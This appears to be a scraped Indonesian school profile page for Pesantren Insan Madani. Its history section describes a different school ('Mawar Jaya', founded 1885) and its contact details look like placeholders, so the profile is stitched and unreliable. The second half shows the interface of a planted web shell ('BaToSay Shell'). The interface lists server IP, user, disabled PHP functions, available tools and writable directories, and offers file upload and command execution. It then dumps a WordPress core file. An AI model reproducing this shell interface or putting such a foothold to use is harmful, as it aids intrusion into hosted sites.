Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 18.118.200.149
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/class-wp-roles.php
<?php
/**
 * User API: WP_Roles class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used to implement a user roles API.
 *
 * The role option is simple, the structure is organized by role name that store
 * the name in value of the 'name' key. The capabilities are stored as an array
 * in the value of the 'capability' key.
 *
 *     array (
 *          'rolename' => array (
 *              'name' => 'rolename',
 *              'capabilities' => array()
 *          )
 *     )
 *
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP_Roles {
	/**
	 * List of roles and capabilities.
	 *
	 * @since 2.0.0
	 * @var array[]
	 */
	public $roles;

	/**
	 * List of the role objects.
	 *
	 * @since 2.0.0
	 * @var WP_Role[]
	 */
	public $role_objects = array();

	/**
	 * List of role names.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $role_names = array();

	/**
	 * Option name for storing role list.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $role_key;

	/**
	 * Whether to use the database for retrieval and storage.
	 *
	 * @since 2.1.0
	 * @var bool
	 */
	public $use_db = true;

	/**
	 * The site ID the roles are initialized for.
	 *
	 * @since 4.9.0
	 * @var int
	 */
	protected $site_id = 0;

	/**
	 * Constructor.
	 *
	 * @since 2.0.0
	 * @since 4.9.0 The `$site_id` argument was added.
	 *
	 * @global array $wp_user_roles Used to set the 'roles' property value.
	 *
	 * @param int $site_id Site ID to initialize roles for. Default is the current site.
	 */
	public function __construct( $site_id = null ) {
		global $wp_user_roles;

		$this->use_db = empty( $wp_user_roles );

		$this->for_site( $site_id );
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( '_init' === $name ) {
			return $this->_init( ...$arguments );
		}
		return false;
	}

	/**
	 * Sets up the object properties.
	 *
	 * The role key is set to the current prefix for the $wpdb object with
	 * 'user_roles' appended. If the $wp_user_roles global is set, then it will
	 * be used and the role option will not be updated or used.
	 *
	 * @since 2.1.0
	 * @deprecated 4.9.0 Use WP_Roles::for_site()
	 */
	protected function _init() {
		_deprecated_function( __METHOD__, '4.9.0', 'WP_Roles::for_site()' );

		$this->for_site();
	}

	/**
	 * Reinitializes the object.
	 *
	 * Recreates the role objects. This is typically called only by switch_to_blog()
	 * after switching wpdb to a new site ID.
	 *
	 * @since 3.5.0
	 * @deprecated 4.7.0 Use WP_Roles::for_site()
	 */
	public function reinit() {
		_deprecated_function( __METHOD__, '4.7.0', 'WP_Roles::for_site()' );

		$this->for_site();
	}

	/**
	 * Adds a role name with capabilities to the list.
	 *
	 * Updates the list of roles, if the role doesn't already exist.
	 *
	 * The capabilities are defined in the following format: `array( 'read' => true )`.
	 * To explicitly deny the role a capability, set the value for that capability to false.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role         Role name.
	 * @param string $display_name Role display name.
	 * @param bool[] $capabilities Optional. List of capabilities keyed by the capability name,
	 *                             e.g. `array( 'edit_posts' => true, 'delete_posts' => false )`.
	 *                             Default empty array.
	 * @return WP_Role|void WP_Role object, if the role is added.
	 */
	public function add_role( $role, $display_name, $capabilities = array() ) {
		if ( empty( $role ) || isset( $this->roles[ $role ] ) ) {
			return;
		}

		$this->roles[ $role ] = array(
			'name'         => $display_name,
			'capabilities' => $capabilities,
		);
		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}
		$this->role_objects[ $role ] = new WP_Role( $role, $capabilities );
		$this->role_names[ $role ]   = $display_name;
		return $this->role_objects[ $role ];
	}

	/**
	 * Removes a role by name.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 */
	public function remove_role( $role ) {
		if ( ! isset( $this->role_objects[ $role ] ) ) {
			return;
		}

		unset( $this->role_objects[ $role ] );
		unset( $this->role_names[ $role ] );
		unset( $this->roles[ $role ] );

		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}

		if ( get_option( 'default_role' ) === $role ) {
			update_option( 'default_role', 'subscriber' );
		}
	}

	/**
	 * Adds a capability to role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role  Role name.
	 * @param string $cap   Capability name.
	 * @param bool   $grant Optional. Whether role is capable of performing capability.
	 *                      Default true.
	 */
	public function add_cap( $role, $cap, $grant = true ) {
		if ( ! isset( $this->roles[ $role ] ) ) {
			return;
		}

		$this->roles[ $role ]['capabilities'][ $cap ] = $grant;
		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}
	}

	/**
	 * Removes a capability from role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 * @param string $cap  Capability name.
	 */
	public function remove_cap( $role, $cap ) {
		if ( ! isset( $this->roles[ $role ] ) ) {
			return;
		}

		unset( $this->roles[ $role ]['capabilities'][ $cap ] );
		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}
	}

	/**
	 * Retrieves a role object by name.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 * @return WP_Role|null WP_Role object if found, null if the role does not exist.
	 */
	public function get_role( $role ) {
		if ( isset( $this->role_objects[ $role ] ) ) {
			return $this->role_objects[ $role ];
		} else {
			return null;
		}
	}

	/**
	 * Retrieves a list of role names.
	 *
	 * @since 2.0.0
	 *
	 * @return string[] List of role names.
	 */
	public function get_names() {
		return $this->role_names;
	}

	/**
	 * Determines whether a role name is currently in the list of available roles.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name to look up.
	 * @return bool
	 */
	public function is_role( $role ) {
		return isset( $this->role_names[ $role ] );
	}

	/**
	 * Initializes all of the available roles.
	 *
	 * @since 4.9.0
	 */
	public function init_roles() {
		if ( empty( $this->roles ) ) {
			return;
		}

		$this->role_objects = array();
		$this->role_names   = array();
		foreach ( array_keys( $this->roles ) as $role ) {
			$this->role_objects[ $role ] = new WP_Role( $role, $this->roles[ $role ]['capabilities'] );
			$this->role_names[ $role ]   = $this->roles[ $role ]['name'];
		}

		/**
		 * Fires after the roles have been initialized, allowing plugins to add their own roles.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Roles $wp_roles A reference to the WP_Roles object.
		 */
		do_action( 'wp_roles_init', $this );
	}

	/**
	 * Sets the site to operate on. Defaults to the current site.
	 *
	 * @since 4.9.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $site_id Site ID to initialize roles for. Default is the current site.
	 */
	public function for_site( $site_id = null ) {
		global $wpdb;

		if ( ! empty( $site_id ) ) {
			$this->site_id = absint( $site_id );
		} else {
			$this->site_id = get_current_blog_id();
		}

		$this->role_key = $wpdb->get_blog_prefix( $this->site_id ) . 'user_roles';

		if ( ! empty( $this->roles ) && ! $this->use_db ) {
			return;
		}

		$this->roles = $this->get_roles_data();

		$this->init_roles();
	}

	/**
	 * Gets the ID of the site for which roles are currently initialized.
	 *
	 * @since 4.9.0
	 *
	 * @return int Site ID.
	 */
	public function get_site_id() {
		return $this->site_id;
	}

	/**
	 * Gets the available roles data.
	 *
	 * @since 4.9.0
	 *
	 * @global array $wp_user_roles Used to set the 'roles' property value.
	 *
	 * @return array Roles array.
	 */
	protected function get_roles_data() {
		global $wp_user_roles;

		if ( ! empty( $wp_user_roles ) ) {
			return $wp_user_roles;
		}

		if ( is_multisite() && get_current_blog_id() !== $this->site_id ) {
			remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );

			$roles = get_blog_option( $this->site_id, $this->role_key, array() );

			add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );

			return $roles;
		}

		return get_option( $this->role_key, array() );
	}
}

Batosay - 2023
IDNSEO Team